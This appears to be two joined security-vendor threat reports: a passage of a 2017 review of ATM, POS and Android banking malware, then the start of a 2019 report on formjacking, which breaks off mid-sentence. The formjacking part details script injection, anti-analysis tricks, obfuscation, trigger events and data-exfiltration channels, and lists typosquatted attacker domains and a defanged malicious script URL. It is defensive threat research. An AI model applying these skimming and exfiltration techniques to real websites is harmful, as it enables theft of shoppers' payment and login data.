04ISTR Financial Threats
Review – May 2017
Attacks against ATM, POS, and mobile
ATM and POS
ATM and point of sales (POS) attacks continued to increase in
2016. ATM malware has been around for 10 years but is still
effective. With the increase of targeted attacks aimed at banks, we also saw an increase in attacks against ATMs from within
the financial network. There are many active ATM and POS
threat families, such as Ploutus (Backdoor.Ploutus ), Flokibot,
Trojan.Skimer , FastPOS (Infostealer.Fastpos ), Infostealer.
Poslit , Infostealer.Donpos, Infostealer.Jackpos, Infostealer.
Scanpos, and Backdoor.Pralice to name just a few. Since the adoption of Chip & PIN has begun to spread outside of Europe,
we have seen a decrease of classic memory scraping threats, as
they are no longer efficient for the attackers.
There are various degrees of sophistication seen in the wild
when it comes to ATM attacks. For some attacks the criminals
need physical access to the ATM computer and they get this by opening the cover with a stolen key or picking the lock.
Once they have access to a USB port or the CD-ROM they can
install malware and attach a keyboard to issue commands (the Ploutus malware uses this attack vector).
Similar attacks have been reported in hotels where attackers
used the often exposed USB ports on the backside of the check-in computers to install malware. Or in retail stores
where the attackers added their sniffer to an exposed network
port inside the shop. This allows them to compromise any attached POS device and scrape the memory for payment card
information.
With physical access to the ATM another attack vector is
possible. As reported in April 2017, some attackers discovered
they could drill a hole into the ATM casing in order to access
to the internal bus system. Once access is obtained, a cheap microcomputer is all that is needed to send commands to the
bus in order to make the ATM dispense its cash.
Physical access is not required for all ATM and POS attacks.
In November 2016, the FBI warned about the Buhtrap group
breaking into financial institutions’ internal networks and issuing ATM commands that lead to the dispensing of money, all without physically tampering with the ATMs. The Taipei
police estimates that the cyber attacks may have led to $300
million in losses. In another case, attackers were able to install the ATMitch malware on multiple ATMs, and cash out at least
$800,000.
The same applies for POS attacks, which can also be carried
out remotely. For example, Trojan.Flokibot was going after
POS computers which process payment card transactions.
Attackers compromised computers using spear-phishing emails and then used TeamViewer and Ammyy Admin software to remotely control the compromised computers and progress with their attack.
In August 2016, the website of a POS software vendor was
compromised. According to reports, the stolen information
could have provided the attackers with remote access to POS
systems in use at various retailers. The revelation lead to the
vendor issuing a password reset for support accounts on all affected systems.
Android financial threats
Since the introduction of mobile banking apps and two factor
authentication (2FA), cyber criminals have had to look for ways
to either bypass 2FA using social engineering or by attacking the mobile platform. For the past few years financial threats
on Android phones have become increasingly common, but the
infection numbers and variety of families is still much smaller compared to the Windows threat landscape.
The detection numbers for mobile malware in general increased
by 29 percent to 7.2 million in 2016. More than half of mobile malware detections are related to downloader threats, such as
Android.MalDownloader. Besides generic detections, mobile
financial threats is the third most common threat category, behind premium text message sending apps and ransomware.
Most mobile threats do not require root permissions, but
some download privilege escalation exploits, which allow the threat to steal cached passwords from the browser and other
applications. A common tactic is to show the “Device Admin
activation dialog” over and over again until the user grants admin permission to the app. At more than 20 percent, the rate
of runtime packer usage in mobile threats more than doubled
between January and December 2016, showing an increasing use of obfuscation.
The infection vector commonly involves social engineering
and a spammed out link to the threat masquerading as a legit -
imate app. The attackers are Trojanizing legitimate tools and
advertise them for download. Another avenue for distribution
is on compromised websites where the malware poses as a movie player that needs to be installed to view content. The
user is typically tricked into ignoring any security warnings
and voluntarily installing the malicious app themselves. Atten-tively reading the requested permissions in the installation
dialog is still one of the most effective protection methods and
some apps have started to delay the request for permissions to a later point, where more social engineering can be applied.
Malicious apps is not only a problem found on third-party app
stores. We still see infected apps appear on the official Google Play Store now and then. For example, in February 2017 an
Android.Fakebank.B variant disguised itself as a weather Attacks against ATM, POS, and mobileBack to Table of ContentsPage 23
04ISTR Financial Threats
Review – May 2017
application called “Good Weather” on the official Google Play
Store and was downloaded by approximately 5,000 users.
With the constantly evolving Android operating system we
also see a constant change in the methods and tactics used by attackers. The main methods employed by financial mobile
threats include SMS and call forwarding, fake form overlays,
information stealing, and fake mobile banking apps.
Using fake form overlays is still a common tactic, although
Android 6.0 made it more difficult for malware authors to use
this method. Similar to their desktop counterparts, mobile threats can dynamically download an overlay from the C&C
server that corresponds to the app that is launched or the
website visited by the user. This overlay mask can then steal the login credentials or ask for additional information such as
credit card details.
Mobile threats also target non-financial applications like social
media apps or chat applications. We have seen some Android.
Fakebank.B variants, also known as Marcher, targeting over
125 different institutions. In some campaigns the attackers spoof a text message from the bank asking the user to verify
a fraudulent transaction, which serves to create some urgency
and tricks the user into logging into the financial application right away.
Another tactic used by Android.Fakebank.B is adding itself to
the Battery Optimizations exceptions whitelist so that the new doze feature in Android 6.0 does not stop the Trojan when it goes into battery saving mode. This allows the threat to stay connected to its C&C server. The same malware family was also
seen in March utilizing call-barring functionality. This meant
that the malware could block any outgoing call to a predefined list of customer service numbers (in this case numbers related
to Russian and South Korean banks). This feature makes it more
difficult for the user to verify or cancel suspicious transactions with the financial institute. This functionality is similar to a
tactic used by the Windows malware Shylock, which replaced
the bank’s customer support telephone numbers when a user visited the bank’s website with on an infected computer.
Sometimes attackers use simple tricks to achieve their goals.
At the beginning of 2016, Android.Bankosy added a simple trick to intercept voice 2FA tokens (when the bank calls the
customer and a synthetic voice reads the 2FA code to the user).
The Trojan added call forwarding using the special service code *21*[DESTINATION NUMBER]#, which is supported by many
telephone carriers. Once activated, the call back from the bank
would end up at the VOIP number controlled by the attacker and they would have the 2FA code needed to carry out fraudu-
lent transactions.
The crimeware-as-a-service model is also available for mobile
malware. For example, a Trojan called Exo Android Bot was
heavily advertised in forums in 2016. For $400 per week or
$3,000 per year the author promised Android malware that could intercept SMS, use screen overlays, and had 24/7 support.
The focus of the threat was clearly financial applications.
Control panel for a rentable mobile TrojanInternet Security Threat Report
Disruptions
and takedowns
05SectionDisruptions and takedownsBack to Table of ContentsPage 25
05ISTR Financial Threats
Review – May 2017
Disruptions and takedowns
With increased collaboration between researchers and law
enforcement agencies around the globe, there were a number
of significant disruptions in the past year including several
high-profile takedowns. These efforts not only helped put a dent in financial malware activity but also served as a warning
to cyber criminals involved in this type of crime.
Dyre
One of the major takedown stories to break in early 2016
surrounded the Dyre financial fraud Trojan.
Reports emerged in February that a Russian law enforcement
operation in November 2015 coincided with a major drop in
activity from the financial Trojan. This is also reflected in the 92 percent drop in detection numbers for Dyre in 2016.
Dyre had grown to be one of the most active financial fraud
tools in 2015. Dyre spam campaigns contained a malicious attachment that, if opened, would install the Upatre down-
loader (Downloader.Upatre ) on a victim’s computer. Detections
of Upatre hit a high of more than a quarter of a million in July
2015. Detections of both Upatre and Dyre dropped sharply
after the November 2015 takedown.
The circumstances surrounding the Dyre takedown are unclear,
with no definitive evidence emerging about who or how many
people were arrested. Reports in late 2016 claimed that new
banking Trojan Trickbot was a rewrite of Dyre. AvalancheThe Avalanche takedown dealt a severe blow to the cyber
criminal community following the seizure of infrastruc-
ture used by multiple malware families. The takedown was a
combined effort by multiple international law enforcement agencies, public prosecutors, and security and IT organizations,
including Symantec. It resulted in the seizure of 39 servers and
several hundred thousand domains that were being used by the criminal organization behind the Avalanche network.
Symantec’s research into the Avalanche network began in 2012
when it published research on ransomware that was predom-inantly targeting German speakers in Germany, Austria, and
parts of Switzerland. At the same time, German police were
carrying out an investigation into the Bebloh malware, which featured in Symantec research. Symantec researchers provided
technical assistance to the police during the investigation, and
these combined efforts eventually led to the discovery of the Avalanche botnet. Avalanche was a massive operation respon-
sible for controlling a large number of compromised computers
around the world.
The investigation culminated on November 30, 2016, and
resulted in the takedown of infrastructure providing support
for at least 17 different malware families, as well as the arrests of multiple individuals suspected to be participating in the
activity.
Arrests
In addition to takedown initiatives, there have been various
arrests made in the past year. Russian security forces cracked down on the Lurk banking group in June 2016, arresting 50
people in Moscow and in January 2017, the suspected author
behind Trojan.Snifula was arrested in Spain resulting in
Snifula nearly disappearing completely. The Lurk banking
Trojan targeted Russian financial institutions and the group
behind it is believed to have stolen more than $25 million.
These arrests coincided with a drop in activity from a number
of threat groups including Locky (Ransom.Locky ), Dridex, and
the Angler exploit kit. However, while Locky and Dridex expe -
rienced a surge in activity again in the second half of 2016,
Angler did not. This led to speculation that the same people
were behind both the Lurk banking Trojan (Trojan.Filurkes )
and the Angler exploit kit. Since the Lurk arrests, Angler has
disappeared from the threat landscape.Internet Security Threat Report
Conclusion
06SectionConclusionBack to Table of ContentsPage 27
06ISTR Financial Threats
Review – May 2017
Conclusion
Although the detection count for financial malware decreased
in 2016 by 36 percent, this threat category is still very much
active and relevant despite several takedown operations and
arrests. The three major players for 2016 were Ramnit (aka Gootkit), Bebloh, and Zbot (aka Zeus), together responsible for
86 percent of all financial threat related activity. Surprisingly,
most of this prevalence was achieved by a handful of samples. For example, one Bebloh sample accounted for 47 percent of
all global detections in January 2016. This is a result of large
spam campaigns with millions of malicious emails being spammed out. The infection vectors for financial threats are
the same as for other common malware such as ransomware
and we have seen many groups share the same spam botnets or exploit toolkits.
Japan was hit with 37 percent of all financial malware attacks
in 2016, which demonstrates that attackers are fast in adapting to new markets when current targets become saturated, too
well protected, or are no longer easily defrauded.
Sandbox evasion and anti-debugging tricks did not change in
2016. However, there was an increase in the use of redirection
attacks—where victims are redirected to a remote site which
will then perform the inline attack. This can make it more difficult to block the attack on the user’s computer. Another noticeable trend is the increase in attacks against
corporations and financial institutions themselves. On
average, 38 percent of all financial threat detections were in corporations. Once such an infection is identified by attackers,
they will log in remotely and, over time, learn how transactions
are conducted. Depending on the opportunities presented they may attempt to inject fraudulent transactions into the
monthly invoice payment orders or, in the case of a bank, try
and submit their own interbank transfers. Even though such attacks are harder to carry out and take longer to prepare,
they yield a much higher profit. With the Lazarus group being
linked to some high-profile bank attacks, it is the first time that a possible nation-state actor has been identified performing
these types of financially motivated attacks.
Mobile threats on Android are mainly focusing on form overlay
attacks or fake online banking apps. We have seen more than
170 mobile apps targeted by mobile malware. Mobile threats
are still relevant as many financial institutions have deployed two-factor authentication through mobile phone applications.
As it has become more difficult to conduct such attacks on the
latest Android OS, we have seen attackers reverting to social engineering attacks, where they trick victims into authoriz-
ing fraudulent transactions. The end user still remains the
weakest link in the chain during an online transaction, which means even the strongest technologies are susceptible to social
engineering attacks.
We expect financial threats to remain a problem for end users
in the future, but attackers will likely increase their focus on
corporate finance departments and using social engineering
against them.Internet Security Threat Report
Protection
07SectionProtectionBack to Table of ContentsPage 29
07ISTR Financial Threats
Review – May 2017
Protection
Adopting a multilayered approach to security minimizes the
chance of infection. Symantec has a strategy that protects
against malware, including financial threats, in three stages:
01 Prevent: Block the incursion or infection and prevent the
damage from occurring
02 Contain: Limit the spread of an attack in the event of a successful infection
03 Respond: Have an incident response process, learn from the attack and improve the defenses
Preventing infection is by far the best outcome so it pays to pay attention to how infection can be prevented. Email and infected websites are the most common infection vectors for malware.
Adopting a robust defense against both these infection vectors
will help reduce the risk of infection.
Advanced Antivirus Engine
Symantec uses an array of detection engines including an advanced signature-based antivirus engine with heuristics,
just-in-time (JIT) memory scanning, emulator, advanced
machine-learning engines and reputation based detection. This allows the blocking of sophisticated threats, including
directly in memory executed threats, at various layers.
SONAR Behavior Engine
SONAR is Symantec’s real-time behavior-based protection
that blocks potentially malicious applications from running on the computer. It detects malware without requiring any
specific detection signatures. SONAR uses heuristics, repu-
tation data, and behavioral policies to detect emerging and unknown threats. SONAR can detect malicious behaviors
common to lateral movement and block them.
Email Security
Email-filtering services such as Symantec Email Security
.cloud can stop malicious emails before they reach users. Symantec Messaging Gateway’s Disarm technology can also
protect computers from email based threats by removing
malicious content from attached documents before they even reach the user. Email.cloud technology includes Real Time
Link Following (RTLF) which processes URLs present in attach-
ments, not just in the body of emails. In addition to this, Email.cloud has advanced capabilities to detect and block malicious
script contained within emails through code analysis and
emulation. Sandbox
Sandboxes such as the Symantec Malware Analysis sandbox
technology have the capability to analyze and block malicious content. It can work its way through multiple layers of obfus-
cation and detect suspicious behavior.
Network security
Monitor and block malicious traffic on the endpoint with
Symantec Endpoint Protection or in the network with Symantec Secure Web gateway.
System Hardening
Symantec’s memory exploit mitigation can protect against
typical exploit techniques with an exploit agnostic approach.
In addition, Symantec’s system hardening solution called Symantec Data Center Security can secure physical and virtual
servers and monitor the compliance posture of server systems
for on-premise, public, and private cloud data centers.
Best Practice
In addition, users should adhere to the following advice to reduce the risk of cyber attacks:
|Exercise caution when conducting online banking
sessions, in particular if the behavior or appearance of
your bank’s website changes
|Exercise caution when receiving unsolicited, unexpected,
or suspicious emails
|Keep security software and operating systems up to date
|Enable advanced account security features, like 2FA and
login notification, if available
|Use strong passwords for all your accounts
|Always log out of your session when done
|Monitor bank statements regularly
|Notify your financial institution of any strange behavior
while using their service
|Be wary of Microsoft Office attachments that prompt
users to enable macrosAbout Symantec
Symantec Corporation (NASDAQ: SYMC), the world’s leading
cyber security company, helps businesses, governments and
people secure their most important data wherever it lives.
Organizations across the world look to Symantec for strategic, integrated solutions to defend against sophisticated attacks
across endpoints, cloud and infrastructure.
Likewise, a global community of more than 50 million people
and families rely on Symantec’s Norton suite of products for
protection at home and across all of their devices. Symantec operates one of the world’s largest civilian cyber intelligence
networks, allowing it to see and protect against the most
advanced threats.
More Information
Symantec Worldwide: http://www.symantec.com
ISTR and Symantec Intelligence Resources: https://www.symantec.com/security-center/threat-reportSymantec Security Center: https://www.symantec.com/security-center
Norton Security Center: https://us.norton.com/security-center
|
An ISTR Special Report
By Candid WueestFORMJACKING:
How Malicious JavaScript Code is Stealing User Data
from Thousands of Websites Each Month
Contents
SUMMARY
Evolution
Getting access to the server
Loading the script
Anti-analysis checks
Script obfuscation
Script trigger mechanisms
Gathering the data
Data exfiltration
Impact and damage
Prevalence
DETECTION
PROTECTION
MITIGATION
Future of formjacking
|TOCISTR | AUGUST 2019 Formjacking: An ISTR Special ReportBack to ToC
Injecting malicious JavaScript code into websites is still
popular with cyber criminals and is used to steal more
than just credit card information. On average, websites
compromised in this way stay infected for 46 days.
Formjacking attacks are frequently in the news, especially
when yet another high-profile retail store is compromised.
In these attacks cyber criminals find a way to change one of
the JavaScript files being loaded as part of the website. This
implanted malicious JavaScript code alters the behavior of the
targeted web form or process on the compromised website
to surreptitiously steal payment card data and other personal
information in the background. Checkout and payment
pages of online retail stores are especially in the crosshairs
of attackers, but any profitable data entered by the user into
web forms could potentially be stolen. On average, websites
compromised in this way stay infected for 46 days. This paper
will provide an overview of the various methods and tactics
used by attackers, as well as the technical details of these
types of attacks.
Symantec refers to these types of attacks as formjacking
but other names used may include Magecart or JavaScript
skimming. The name Magecart is also often used to describe
multiple groups that use this method. In addition, new groups
and tools, such as JS Sniffer and Inter, are constantly being
developed and appearing on the scene.We have written about these attacks before on our blog and
it was also an integral part of our annual Internet Security
Threat Report (ISTR) . Other researchers, such as RiskIQ, have
been following this trend as well and have produced some
excellent reports on the topic.
Whereas in the past such website compromises might
have led to cryptocurrency mining scripts being injected,
attackers are now focusing on stealing more lucrative
payment card details. There have been a few high-profile
cases of formjacking attacks against large organizations,
such as NewEgg, and British Airways , but the majority
of compromised web stores are small and medium sized
businesses. Unfortunately, it can be difficult for most users
to spot formjacking attacks. Each month Symantec monitors
billions of URLs visited by users, and in May 2019 we blocked
an average of 63 million malicious web requests per day. We
prevented more than 1.1 million formjacking attacks against
Symantec customers in May 2019 alone.SUMMARYISTR | AUGUST 2019 Formjacking: An ISTR Special ReportBack to ToC
Evolution
The technique of using malicious JavaScript on websites to steal user input data is simple and has been around for more
than 10 years now. For example, similar JavaScript code was used by the malicious Firefox browser extension FFSniff
in 2006 to steal web form data. JavaScript keyloggers have been widely used in the past and were integrated into tools
such as the browser exploitation framework (BeEF). One could argue that formjacking code bears similarities to web
injects from early banking Trojans like Zeus ( Trojan.Zbot ), which would sometimes steal user credentials from web forms
by adding their own functions to the website. The main difference, however, was that the malicious JavaScript code was
injected locally by a Trojan horse. About six years ago we started to see the widespread use of JavaScript scrapers on
online stores in order to steal payment card information. It’s quite possible that other attacks modified web pages even
before this but didn’t get noticed or reported. The scripts have since evolved and become stealthier. Before formjacking
became popular, cyber criminals were already targeting eCommerce sites. However, they were mainly attacking the
eCommerce or payment systems directly to steal stored transactions, or they used phishing attacks to redirect customers
to fake websites. Formjacking attacks should not be confused with man-in-the-middle (MitM) attacks, or hijacking attacks
on protocols such as BGP or DNS, that can have similar results.
Figure 1. FFSniff web form enumeration code
Getting access to the server
The first step for the attacker is to get their malicious code injected into the target website.
There are many commonly used techniques to achieve this. Currently, the most common attack patterns are:
|Exploiting a vulnerability in the website’s content management system (CMS).
|Exploiting a vulnerability in the software or configuration of the webserver. This includes vulnerabilities in the used
software that might allow code injection.
|Exploiting a vulnerability in the eCommerce software itself. This might lead to direct access to the transactions without
the need of an additional script. In the past there have been quite a few cases where vulnerabilities in the Magento
eCommerce software or its extension were exploited. Nowadays the attackers are going after all kinds of online store
software.
|Brute forcing the password of an administrative account or acquiring the password through phishing or from a
previous data breach.
|Supply chain attacks against providers of third-party tools and scripts.
Supply chain attacks in particular have increased the reach of formjacking attacks. In 2018, software supply chain attacks
increased by 78 percent. When cyber criminals manage to compromise a popular script, such as a web analytic script used
by thousands of websites, they can automatically get their malicious JavaScript code loaded onto many websites at once.
Supply chain attacks can also have an impact on multiple levels. For example, if a development library is compromised and
the library is used by other scripts, it can lead to the malicious script being widely distributed.
Figure 2. Workflow of a formjacking attack
Server
infectionActivate
scriptScript
obfuscationGathering
dataExfiltrate
dataISTR | AUGUST 2019 Formjacking: An ISTR Special ReportBack to ToC
Loading the script
The attacker has two options when it comes to loading their script onto a target website. They can either store the whole
script on the compromised server, or they can add a small reference to a remote location where the script is hosted. Each
method has pros and cons for the attacker.
Storing the whole script on the compromised server reduces the connections to remote locations, which may have
bad reputations. But this method also increases the risk of the website administrator finding the out-of-place script or
embedded code on the server. For example, we have seen cases where local JavaScript, PHP , CSS, and HTML files had
been modified directly or by adding the code through the content management system.
A more commonly used technique involves adding a small HTML script tag to the local website, which then remotely loads
and executes the malicious scraper script. This allows the attacker to modify and adapt the payload script at any time,
without the need to contact the compromised site directly. This script tag can be added anywhere within the site’s HTML;
for example, we have seen it appended at the end, hidden in the middle, or mixed into the beginning where legitimate
script libraries are called. Each group seems to have its own preferences when it comes to script tag placement.
The malicious code can also be added into legitimate libraries at code branches that will always be executed, or it can
piggyback on legitimate functions from other scripts that can be used to call the malicious script.
The script tag can also be dynamically added to the document object model (DOM) at runtime by a short script. This script
can either be run directly or can be attached to any object. For example, we observed one instance where the loader script
was added to an image tag. Once the legitimate image was completely loaded, the malicious script would trigger and load
the rest of the payload.
The attackers can also use persistent cross-site scripting (XSS) attacks, or weaknesses in already loaded scripts to get
their own scripts executed.
Figure 3. Dynamically added script tag for a remote resource
Figure 4. Loading a malicious script through an image tag
Some groups have experimented with hosting the malicious script on trusted locations such as cloud storage providers
or GitHub. While this will certainly boost the trust level of the domain and may bypass some detection mechanisms, once
discovered it can also lead to a quick takedown, at least if the provider is experienced with abuse alerts. For example, in
May we noticed a wave of cloud buckets being misused, with a few hundred being compromised per week. Some of the
buckets were misconfigured and were world writeable, while others may have been compromised through phishing and
some were set up deliberately. A modified Google Analytics script was hosted on the following cloud bucket:
h t t p s: / /app-google-analytics.s3-sa-east-1.amazonaws[.]com/159/google-analytics.js
In a few cases the malicious link was hidden behind open web redirectors, one belonging to a Latin American bank for
instance.
It is also common for attackers to register dedicated domains, sometimes with carefully chosen names similar to the
victim’s brand, in order to blend in. Attackers also use typosquatting , using domain names that look similar to legitimate
ones. For example, mimicking Google Analytics scripts is a popular tactic, as these scripts are found on many websites.
Using the names of eCommerce software programs and generic tracker names is also common. The scripts are then
hosted inside subdirectories with benign names that make them look even more plausible. The following domains are
examples of ones used during formjacking attacks:
|google-analyitics.org
|google-analytics.cm
|mygoogletagmanager.org
|googietagmanagar.com
|googlc-analytics.cm
|api-googles.com
|gstaticss.com
|tracker-visitors.com
|track-magento.comISTR | AUGUST 2019 Formjacking: An ISTR Special ReportBack to ToC
There are additional tricks that can be used to further hinder detection of injected scripts. We have seen cases where
the script was masquerading as an image file to bypass filters. In other cases, the code was pretending to be a legitimate
library, such as the JavaScript library Angular. Using all the right keywords and variable names makes it difficult for the
untrained eye to see the malicious purpose behind the obfuscation. The script tag could even be added dynamically, for
example through a malicious Apache web server module, as we’ve seen in the past with coin-mining attacks. Compromised
network routers could also be used to add the malicious script to any website a user visits.
Figure 5. Open directory listing showing different versions of scripts
Anti-analysis checks
If the malicious script is loaded from a remote server, then the serving host can check the IP address, user-agent, referrer,
and other meta data of the request and decide to send back a clean script or nothing at all. The attackers can use this to
try to spot suspicious requests that may originate from security researchers for example. This is a simple but effective
method to prevent basic automation tools from analyzing the malicious scripts. We have also encountered some servers
that seem to operate a blacklist for common IP blocks owned by security companies. A similar approach is to only serve
the malicious script a limited number of times per IP address. Therefore, if an automated tool is trying to download the
script multiple times it will eventually be blocked.
It is common for the script loader stub to check the title or URL of the current page for specific keywords such as
“checkout” and “test” and only inject a dynamic script tag to the DOM if the website is of interest to the attacker.
Figure 6. Location keyword check function
The same applies for generic implants that check if there is a web form present before injecting the final payload, as only
then will the user be able to enter the information the attacker is interested in. This means that in most situations the
complete malicious script may not be loaded, minimizing the risk of detection.
Of course, there are many more tactics that could prevent easy detection of a malicious script implant.
For example, the script could wait for user interaction, such as mouse movement, before it decrypts itself; it could activate
during a specific time frame, such as after the compromised store’s security team has gone home; or the script could do
a coin toss and only serve the payload in 50 percent of cases (while this would drastically reduce the payout for the cyber
criminals, it would also make the attack harder to detect). Another example would be to split the malicious script into
multiple files, so that each on their own won’t be decrypted and detected by automated sandbox analysis.
The script may also check to see if there are any web developer toolkits open. For example, the Firebug console, which
has now been merged with Firefox Developer Tools, is a popular investigation tool. These helper consoles are part of the
Firefox and Chrome web browsers. They allow a user to see web requests and to check for messages generated by any
loaded JavaScript code. The malicious code can detect if one of these consoles are open and, if this is the case, constantly
clear the messages in the JavaScript console or decide not to perform any malicious actions at all.ISTR | AUGUST 2019 Formjacking: An ISTR Special ReportBack to ToC
Script obfuscation
A common occurrence with script attacks, regardless of whether it’s Visual Basic, PowerShell or, as in this case, JavaScript,
is that the script is often heavily obfuscated; some scripts even use multiple levels of obfuscation. The basic reason behind
the use of obfuscation is to bypass simple signature string detections.
It is beyond the scope of this paper to discuss all the different possible obfuscation methods for JavaScript but some of
the more common forms will be covered. The techniques discussed here are not specific to formjacking and have been
seen used in other attacks as well.
The code snippet shown in Figure 7 is an example of string obfuscation, where the string “createElement” is broken up
into smaller parts and condition statements are applied.
Figure 7. String obfuscation
Another common technique used to obfuscate strings is to convert each character into its hex value and split the string
into substrings that are later concatenated back to the required string.
Figure 8. Hex encoded strings
Another commonly used option to hide strings is to encode them using Base64 and then decode them on the fly with the
atob() function. At least one formjacking group has implemented its own Base64 encoding function which swaps a number
of characters so that it is not compatible with standard Base64, making automated decoding more difficult.
Some attackers have started to check the integrity of their injected script. For example, by calculating the length or a
checksum over its own script code. In some instances, this code is used as a decryption key, which means that without
the proper value the script will not run. This makes it more difficult to analyze the script as every manual modification will
prevent it from running normally. With multiple automated tools available for script obfuscation one would expect attackers to generate a unique obfuscated
version for each compromised website. However, during our research we noticed that in most cases just one obfuscated
version of a script is injected into multiple websites. This could be because the cyber criminals are trying to make things
easier for themselves by working at scale, or because they rely on other teams to provide the obfuscated scripts for them,
as seen in some malware-as-a-service (MaaS) offerings.
There are also several formjacking toolkits being sold and used by cyber criminals. These kits can allow people with little
technical skill to configure the scripts for new targets and generate the required implants.
Figure 9. Formjacking script generator
Figure 10. Result of formjacking script configuration generator
ISTR | AUGUST 2019 Formjacking: An ISTR Special ReportBack to ToC
Script trigger mechanisms
This section will discuss how the formjacking script is triggered on the compromised website. The attacker wants to ensure
that the script is only triggered when the user enters profitable data, and that it evades detection as long as possible. As
previously mentioned, the script can check the URL or title of the website for keywords such as “checkout” and “payment”
and only then run the rest of the script. The script could also wait for user interaction, such as mouse movement, before
starting, in order to bypass automated sandbox execution.
There are many different methods that can be used to trigger the execution of the payload script at the right moment
during the process. The most common methods are listed in Table 1.
Table 1. Common methods used to trigger formjacking scripts
On form submitAdd its own script function to the submit button of the web form.
This can be done by attaching itself to the submit button directly.
On key pressRun a keylogger in the background and process all key strokes. It can also check for when the Enter key
is pressed, which can be an indication of submitting a web form.
On mouse eventReact to specific mouse events, often related to the web form’s submit button. For example, events such
as MouseUp, TouchEnd, or by detecting the mouse in a specific area of the website.
On page unloadWait until the page is unloaded, which often happens when the user is redirected to a Thank You page,
and steal the data before this redirect happens.
On timeout Set a timeout every X milliseconds and scrape all web form data if it has changed.
On changeWith the function addEventListener the script can be triggered when, for example, data is entered into
the web form or the page is resized.
Figure 11. OnChange trigger function
Figure 12. OnSubmit event listener function
Figure 13. JavaScript keylogger
Depending on the checkout process of the web page, the attacker might want to gather information over multiple pages;
for example, the shipping address and the payment details. Some scripts do this by saving the stolen data in a cookie
or the local storage of the browser and then loading it back on the next site, while other scripts send each data group
individually per page. ISTR | AUGUST 2019 Formjacking: An ISTR Special ReportBack to ToC
Gathering the data
Some of the scripts know the exact structure of the target website and therefore also the name of the form and all its
fields. This allows the script to be precise and steal only the interesting information from a form, removing the need to
send large data feeds back to the drop server.
Some formjacking groups use a script that checks for specific field names that are commonly used in web forms, like
creditcard, cc, and cc_number, in order to identify which form data to steal. With the built-in functionality of JavaScript,
the attackers can iterate through all forms on a page and enumerate the fields of interest into a list.
Other scripts are more generic and technology agnostic, stealing data from every form field on the target website. This
technique is important for supply chain attacks where the attacker may not know what the target web form looks like. On
the other hand, this can also generate a lot of false positives for the cyber criminals. We have noticed that one strain of
script continuously triggers on search form fields and submits the search keywords back to the author. While this could
retrieve personal data for the attacker, it’s most likely a mistake by the script’s author.
Naturally we have seen scripts that are interested in all password fields and not just payment card details.
Figure 14. Gathering all form field data
Some versions of formjacking use fake overlay forms to collect data, similar to what has now become popular with mobile
malware. Other groups have added new form elements directly or through iframes in order to ask for the information
they want to steal. While this involves more work to maintain and is often easier to detect, such attacks can work well,
especially if the payment details are processed by an external payment site the attacker was not able to compromise. Once
the data is stolen, the script can redirect back to the original page and display an error message so that the user will enter
the data a second time without becoming suspicious.
Data exfiltration
Once the criminals have the data collected locally, they will try and send it back to their drop server for collection. The
gathered data is often Base64 encoded, to hide it in transit, and then sent to a typo-squatted domain encrypted by a free
SSL certificate. The script usually checks to see if the current page is using HTTPS and, if so, will encrypt in order to avoid
warnings for mixed content. In addition to the gathered form data the script may also submit the URL of the page where
the data was stolen from, to make data handling easier for the criminals. The script may also set a local marker like a
cookie, or log the IP address, so that the data is not sent again.
The drop server can be independent from the one serving the skimmer script and might just be a proxy forwarding the
data to the next stage. One script we observed used multiple drop servers and selected one at random. The IP addresses
behind the domains may change over time as well.
Figure 15. Example of exfiltrated data
ISTR | AUGUST 2019 Formjacking: An ISTR Special ReportBack to ToC
Of course, the data can also be dropped back to the compromised third-party supplier if a supply chain attack was used.
This makes it more difficult to detect as the outgoing data is to a trusted domain that has a legitimate reason to interact
with the site. The same is true if an open redirector site is used, which is a legitimate website that redirects the user to a
new site specified in the arguments. For increased network concealment, the attacker may decide to store the data locally
on the compromised server—for example, by writing it from an infected PHP file to the end of a local image file. The cyber
criminal can then later connect to the server and download the drop file. This makes it very difficult to detect on the
network during the attack, as there is no outbound connection made by the script. On the other hand, local scripts may
not always have permission to write to files and a local audit by the webmaster might detect this behavior.
Figure 16. XHR POST request
The data itself is often just an encoded JSON blob, but we have encountered scripts that use asymmetric encryption to
protect and hide the exfiltrated data. This makes it possible to bypass any data loss prevention (DLP) monitoring solution
along the way.
More commonly, the gathered information is sent to a remote location by one of the methods listed in Table 2.Table 2. Methods used to send gathered information to a remote location
XML HTTP Request
(XHR)The data can be sent as an HTTP(S) GET or POST request directly from within the script. This is the most
common method. The attackers can add specific HTTP headers if required.
Fetch API The fetch API can be used like an XHR request to make an HTTP(S) GET or POST request with the data.
New object tagThe script can add a new tag such as img, iframe, CSS imports, or script and append the data as an argu-
ment in the source URL. The image can, for example, be invisible or 1 X 1 pixels in size and automatically
be removed from the page after it was requested. This can also be combined with prefetch or preload
tags to get the object loaded and cached.
New web formThe script can add a new invisible web form to the website, prefill it with the stolen data and then use a
timeout trigger to submit it. A web form can also be overlaid and used to steal the data directly, or the
original form can be modified with a new action that sends the data to the attacker and then redirects
the user back afterwards.
JS framework Depending on the site, there may be JavaScript frameworks available that can be used to generate re-
quests with their own functions.
Curl or WGetIf available and accessible, for example from a compromised PHP script, then the attacker can use Curl
or Wget to generate an HTTP GET or POST request in the background. This function can be implemented
in the same file or in a separate file on the server and then be called from the script. The same applies to
mail functionality, which can be used to send an email with the stolen data back to the attacker.
WebRTC WebRTC connections can be used to exfiltrate data in arguments of requests.
Server-sent Events
(SSE) The SSE EventSource API can be used as another way to send data, although it’s not the most convenient
way for data exfiltration.
WebSocketWebSockets can create a bidirectional, asynchronized connection between the server and the client. Like
HTTP, there are options for encrypted sockets (wss://) and unencrypted sockets (ws://).
RelocateNot a very stealthy method, but still possible, is a full redirect of the site with a change of location. The
server can then forward the browser once more, to a legitimate landing page afterwards.
Figure 17. Using an img tag for data exfiltration
ISTR | AUGUST 2019 Formjacking: An ISTR Special ReportBack to ToC
Impact and damage
In a traditional data breach the motivation of the perpetrator is not always to
misuse the data, sometimes they just want to highlight security inadequacies.
With formjacking, however, the attacker almost always wants to make a profit
from the stolen information. From the user’s perspective it doesn’t matter if their
data gets stolen in a classic data breach or via a web-based formjacking attack,
the end result is the same: their personal data has been stolen and might be
misused by criminals.
Many websites offer users the option to store their payment details with their
profile on the server. While this minimizes the risk of formjacking, as the user
does not need to enter the details again, it also means the data could be stolen
if the website suffers a more traditional data breach. A better solution would be
for people to use tokenized payment cards, or one-time use virtual cards, which
are not of much value to cyber criminals. In addition, it is recommended that
customers regularly check their payment card statements in order to detect any
fraudulent transactions.
Formjacking is not just about payment card data, although this data is the easiest
to make a profit with. Formjacking is also used to steal passwords and other
